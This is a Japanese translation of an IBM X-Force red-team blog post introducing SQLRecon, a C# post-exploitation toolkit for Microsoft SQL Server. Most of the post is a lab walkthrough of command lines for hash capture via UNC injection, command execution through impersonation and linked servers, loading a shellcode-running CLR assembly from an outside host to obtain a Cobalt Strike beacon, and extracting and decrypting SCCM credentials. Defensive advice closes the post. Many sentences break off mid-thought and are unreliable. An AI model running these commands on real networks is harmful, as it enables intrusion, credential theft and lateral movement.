私はキャリアの過程で、世界最大級の組織のヴェールの向こう側を覗き込む素晴らしい機会に恵まれました。私の経験では、ほとんどの業種はエンタープライズWindowsネットワークに依存しています。実際、分散型ゼロトラスト・ネットワーク、エンタープライズLinux、macOSネットワーク、またはActive Directory代替(FreeIPA)を何度も見てきたことは、数え切れないほどです。
このような大規模で、しばしば複雑なエンタープライズ・ネットワークを行き来するとき、Microsoft SQL Serverを見つけることがよくあります。Microsoft SQL Serverは、通常はビジネス機能をサポートするためにデプロイされています。SQL Serverに詳しくないユーザー向けの説明ですが、簡単に言えば、SQL Serverは通常、Windowsサーバーの上にインストールされるリレーショナル・データベース・ソフトウェアです。SQL Serverの主な目的は、データを保管してアプリケーションやユーザーに提供することです。
このブログ記事では、SQL Serverにより提示される攻撃対象領域と、X-Force® のツールを使用した構成ミスや脆弱性の悪用方法についてレビューします
SQL Serverの脆弱性と構成ミスについては、十分に文書化されています。これらの弱点は以前から存在しているように見えますが、防御チームは何らかの方法でSQL Serverを強化することは見落とされ続けています。主に、基盤となる構成を強化し、サービスへの軽微なアクセスを防止することについて説明しています。
この監視の正当性の1つは、組織が優先して対処する必要があるより大きなリスクがあるということです。その結果、SQL Serverのセキュリティ強化は後回しにされがちです。本番環境のデータベース構成を変更することは、可用性の問題を引き起こす可能性があり、運用上の問題として顕在化し、最終的には業務の生産性に影響を及ぼす恐れがあるためです。
IBMニュースレター
AI活用のグローバル・トレンドや日本の市場動向を踏まえたDX、生成AIの最新情報を毎月お届けします。登録の際はIBMプライバシー・ステートメントをご覧ください。
ニュースレターは日本語で配信されます。すべてのニュースレターに登録解除リンクがあります。サブスクリプションの管理や解除はこちらから。詳しくはIBMプライバシー・ステートメントをご覧ください。
エンタープライズ・ネットワークでよく見られる構成ミスの1つは、認証されたドメイン・オブジェクトが低特権アカウントとしてSQLサービスに接続できる次に進む。これには有効なドメイン・コンテキストのみが必要です。言い換えれば、ドメイン・ユーザーまたはドメイン・コンピューター・アカウントの有効トークンです。
例を上げると、一般のビジネス・ユーザーのワークステーションが侵害され、誤って構成されたSQL Serverへのネットワーク・ルートが存在する場合、攻撃者は次のことを行う可能性があります。
これらは、攻撃者がドメイン・コンテキスト内で誤って構成された SQL Serverを評価したときに達成できることのほんの一例にすぎません。SQL Serverが提示する攻撃対象領域は、直面している環境や構成によって常に異なります。
最近、レッドチームのオペレーターは、エンタープライズのMicrosoftネットワークの特権を引き上げるために利用できる、さまざまなActive Directoryの悪用を活用することで、まさに恩恵を受けています。しかし、防御チームがこれらの弱点の軽減に対処し始めると、当然のことながら、Active Directoryの悪用を通じて権限を昇格させる手段は枯渇する傾向にあります。
それでも、私たちは攻撃の事例にあるリストを続行し、目標の達成に役立つエスカレーション・パスを最適な形で模索しています。長い間、SQL Serverへの攻撃は私にとってリストのかなり下位にあったことを認めるのは少し気が進みません。代わりに、共有ストレージ・スペース、社内Webアプリケーション、DevOpsツール、またはクラウド・インフラストラクチャーなどを優先することにしました。おそらく私がこれでどこに向かっているのかがわかると思います...
2022年のある時点で、私はエンゲージメントを行っていましたが、好みのエスカレーション・パスをすべて使い果たした後、単なる停滞状態に達していました。これは主に、非常によく強化された環境によるものでした。少なくとも、それが私が考えていたことで、大規模なSQL Serverファームを発見する前に考えていたことは、ただ設定ミスか脆弱性があるだけでした。
当時は知りませんでしたが、このブログ記事を書いて初めて、Kaspersky社は、SQL Serverを使用して繰り返し発生する攻撃が2022年に56%増加したことを発見しました。これは驚くべき量です。
レッド・チーム・オペレーターとして、私はコマンド・アンド・コントロール(C2)フレームワークを使用して、クライアントのネットワーク内の侵害されたシステムをよく操作します。私たちが十分に協働できるクライアントは、通常、成熟したサイバーセキュリティー・プログラム、有能な防御チーム、およびEDRソリューションなどの最新のセキュリティー管理を備えています。
長年にわたって、SQL Serverを攻撃するためのツールがいくつか開発されてきました。ペネトレーション・テストの日々に、最終的に手を伸ばすものは
EDR(エンドポイントの検知と対応)ソリューションは、オフェンシブ・セキュリティー用に設計された悪意のあるオープンソース・ツール、特にPowerShellに依存しているものを検出する素晴らしい仕事をしているため、立ちはだかる敵対者となる可能性があります。これは軽微なPowerShellポスト・エクスプロイテーション・ツールではなく、私が直面していた問題のためではなく、目的を果たしています
私が直面していた問題は、Microsoft SQL Serverに接続する方法を見つけ、設定ミスや脆弱性がないかどうかを判断するために調査を開始する必要があるということでした。しかし、PowerShellに依存する既存のSQL Serverエクスプロイテーション後ツールを使用すれば、それはおそらく防御チームに確実に捕まる方法でした。これは様々な理由によるもので、詳しくは説明しませんが、PowerShellは、AMSI、制約付き言語モード、様々なスタイルのロギングといったセキュリティー機能のため、攻撃後のエクスプロイトを行うには理想的なハーネスではありません。これは、EDR(エンドポイントの検知と対応)ソリューションやその他のロギングおよび監視制御が導入されている場合にのみ、さらに複雑になります。
代替として、レッドチームのオペレーターは、Windows APIとともに.NETフレームワークとのインターフェースとなる簡単な方法を提供するC#をエクスプロイテーション後のツールを開発するための言語として選択することがよくあります。
私はC#や.NETの開発者ではありませんが、直面している問題を解決するツールを書くのに十分な知識があります。キューは、攻撃的な偵察とエクスプロイテーション後のために設計されたC# SQLツールキットです。
認証プロバイダー
列挙モジュール
コマンド実行、横移動、特権エスカレーション
運用セキュリティー
その他
各テクニックの詳しい使用方法については、wikiを参照してください。
次回のデモンストレーションの準備として、Jeff Smithが所有するWindows 10ワークステーションを侵害して操作します。
Jeffのワークステーションには3つのSQL Serverへのネットワーク・ルートがあり、それぞれが異なるバージョンを実行しており、それぞれ2016年、2019年、2022年です。
SQLリンクが、
さらに、Active Directory Services(ADSI)リンクも
最後に、
図1:ネットワーク構成
さらに、Jeffの侵害されたワークステーションからエクスプロイテーションの後のタスクを実行するために、一般的なコマンド&コントロールフレームワークであるCobalt Strikeを活用するつもりです。
図2:WHOAMIコマンドの発行
これを書いている時点で、SQLReconドメインには、いくつかの異なるアカウントに対してSPNセットがあり、これを以下の製品の画面で示しています。
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
図3:SPNコレクションによるSQL Serverの検出
config/agents.yaml
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
図4:SQL02に関する情報の取得
列挙モジュールへの貢献に対してDaniel Duggan(@_RastaMouse)に感謝の意を表します
標準モジュールは、SQL Serverの1つのインスタンスに対して実行されます。
以下の例では、
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
図5:次に対するSQL特権を列挙:
デフォルトでは、
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
図6:次のデータベースを列挙:
データベース名を/で指定することで、他のデータベースに接続できます。
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
図7:次からのダミー・カード・データを取得:
さらに興味深いモジュールに移行することで
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
図8:UNCパス・インジェクション
次のスクリーンショットでは、接続が
図9:次のNetNTLMv2ハッシュを取得:
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
図10:コマンドの実行を防止するガードレールのデモンストレーション
上記の画像からわかるように、実行ガードレールが発生し、以下を示すエラー・メッセージが受信されます。
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
図11:権限不足によりコマンドの実行が妨げられる別の制限のデモンストレーション
期待どおり、権限が低く
SQLインパーソネーションは特別な権限であり、基本的に、あるユーザーまたはグループが、自分自身の権限だけでなく、他のユーザーの権限でも操作できるようにするものです。次のスクリーンショットは、
図12:
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
以下のスクリーンショットを確認します
図13:次になりすましできるアカウントを列挙:
別のコマンド実行モジュールを示すには、
なりすましモジュールには常に「i」という文字が先頭に付加され、
a:WinToken /h:SQL02 /i:sa /m:iEnableOle
図14:偽装を用いたOLEオートメーション・プロシージャの実現
OLEオートメーション・プロシージャが有効になったことにより
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
図15:PowerShellを使用してリモート・ホスト上のディレクトリーをリストする
製品の画面を示すとおり、ランダムに生成されたOLEオブジェクトとメソッドが作成され、悪意のあるコマンドが実行され、OLEオブジェクトが破棄されます。当社は行動の証拠を残したくないため、意図的に行っています。
次のスクリーンショットでは、特定の接続が
図16:次のNetNTLMv2ハッシュの取得:
以下の例では、なりすましを使用して
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
図17:有効化
構成を元の状態に戻すことは常に良いプラクティスです。
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
図18:OLEオートメーション・プロシージャーの無効化および
図19:
あるSQL Serverインスタンスから別のSQL Serverインスタンスへのリンクを構成するには、多くの場合、リンクを確立してバインドするための認証情報のセットが必要になります。これは攻撃者にとって有益です。接続を確立したアカウントのコンテキストで、リンクされたSQL Server上でコマンドを実行できるからです。もう1つの考慮すべき点は、リンクされたサーバーが攻撃者が活動しているネットワークからセグメント化される可能性があることです。これにより、境界を越え、より高いセキュリティー要件のネットワーク・ゾーンに侵入する機会が得られる可能性があります。
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
図20:次のリンクされたSQL Serverを列挙:
リンクされたモジュールには常に
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
図21:次を想定したSQL権限を列挙:
上記のスクリーンショットのように、当社は
のすべての実行モジュール
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
図22:次のCLR統合を実現:
CLR統合により、カスタム.NETアセンブリーをSQL Serverにインポートできるようになります。これらのアセンブリーは、実行される前にストアド・プロシージャ内に格納されます。これは素晴らしい横移動攻撃プリミティブです。
次のスクリーンショットでは、という名前のSQL Server CLR互換のカスタム.NETアセンブリーを作成します。
図23:
カスタムSQL Server CLR互換.NETアセンブリーの詳細については、次のClrセクションを参照してください。
次のデモでは、
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
図24:次のコンテキストでのCobalt Strikeビーコンを取得:
もちろん、先ほどの例では、
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
図25:コンテキストでのCobalt Strikeビーコンの取得
図26:
SQL ServerのインスタンスからActive Directoryドメイン・コントローラーへのADSIリンクの構成には、必ずしも特権認証情報が必要なわけではありません。しかし、実際のオペレーションでは、最小権限の原則が適用されないケースがあるのを確認しました。
以下の例では、
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
図27:次のリンクを列挙:
VerifyされたADSIリンクが 上に存在することを確認しました
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
図28:ダブルリンクADSI認証情報収集攻撃
AI導入までの最大の拡張の1つが
今後は、ECMとSCCMの両方を単にSCCMと呼ぶことにします。
以下の例では、Databasesモジュールを使用して、
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
図29:次のデータベースを列挙:
上記のスクリーンショットをご覧ください、
SCCMモジュールには常に
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
図30:SCCM SQL Server経由でSCCMにログインできるすべてのユーザーを列挙
また、SCCMに設定されたタスクを列挙することもできます。
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
図31:SCCM SQL Serverデータベースを介してSCCMに構成されたタスクを列挙
SCCMは通常、認証情報を保管する必要があります。この認証情報は、環境内のシステムまたは参考情報を認証し、ソフトウェア・パッケージをデプロイしたり、SCCMが提供するその他のさまざまなアクションを実行したりするために使用されます。生成AIの
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
図32:SCCM SQL Serverデータベースを介した認証情報の取得
上記のスクリーンショットでは、1つの認証情報が保管されていることを確認できます。これが
Adam Chester(@_xpn_)のロジックを用いることで、SCCMの保管された認証情報を復号し、保管されたアカウントの平文パスワードを取得することが可能です。これには、SCCMサーバーのローカル管理者権限が必要です。次のスクリーンショットでは
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
図33:保管されたSCCM認証情報の復号化
攻撃者がSQL Serverを悪用するのを防ぐために、防御側はセキュリティー制御を実装する際に階層化されたアプローチを取ることができます。まず第一に、SQL Serverのセキュリティー・ベスト・プラクティスに関するMicrosoftの公式ガイダンスを読むことを強くお勧めします。
次のステップは、サイバー攻撃における予防、検知、緩和のガイダンスです。
ネットワーク・レベルでの実装には、次のセキュリティー管理を検討する必要があります。
環境内のワークステーションとサーバー。
SQL Serverに対する攻撃は、今日のサイバーセキュリティー環境において引き続き重要です。攻撃者は防御的制御を回避するためにその手法を常に進化させており、その中でSQL Serverなどの付随サービスをますます悪用しています。これらの攻撃はより高度かつ巧妙化しており、多くの場合、従来のセキュリティー対策を回避するためにあまり一般的ではない手法が使用されています。
SQL Serverを悪用することで、攻撃者は機密データへの不正アクセスを行い、データベースを操作し、システム全体を侵害する可能性があります。このような攻撃の結果は、データ侵害、経済的損失、組織の評判の低下など、深刻な結果をもたらす可能性があります。
攻撃のリスクを軽減するには、組織はSQL Serverの構成をレビューし、セキュリティーのベスト・プラクティスを採用することが重要です。さらに、組織はリアルタイムの監視、異常検知、行動分析機能を提供するセキュリティー・ソリューションに投資する必要があります。これらのソリューションは、攻撃をより効果的に検知して対応し、クリティカルなデータやシステムへの潜在的な影響を最小限に抑えるのに役立ちます。SQL Server環境を保護するための事前対応型の対策を講じることで、組織はこれらの攻撃の被害に遭うリスクを大幅に軽減し、貴重なデータ資産を保護することができます。
サプライチェーンの最新安定バージョンの
Black Hat Las Vegasに参加される方で、さらに詳しく知りたい場合は、8月10日木曜日午後1時(太平洋標準時)に開催される私のセッション「Abusing Microsoft SQL Server with SQLRecon」にご参加ください。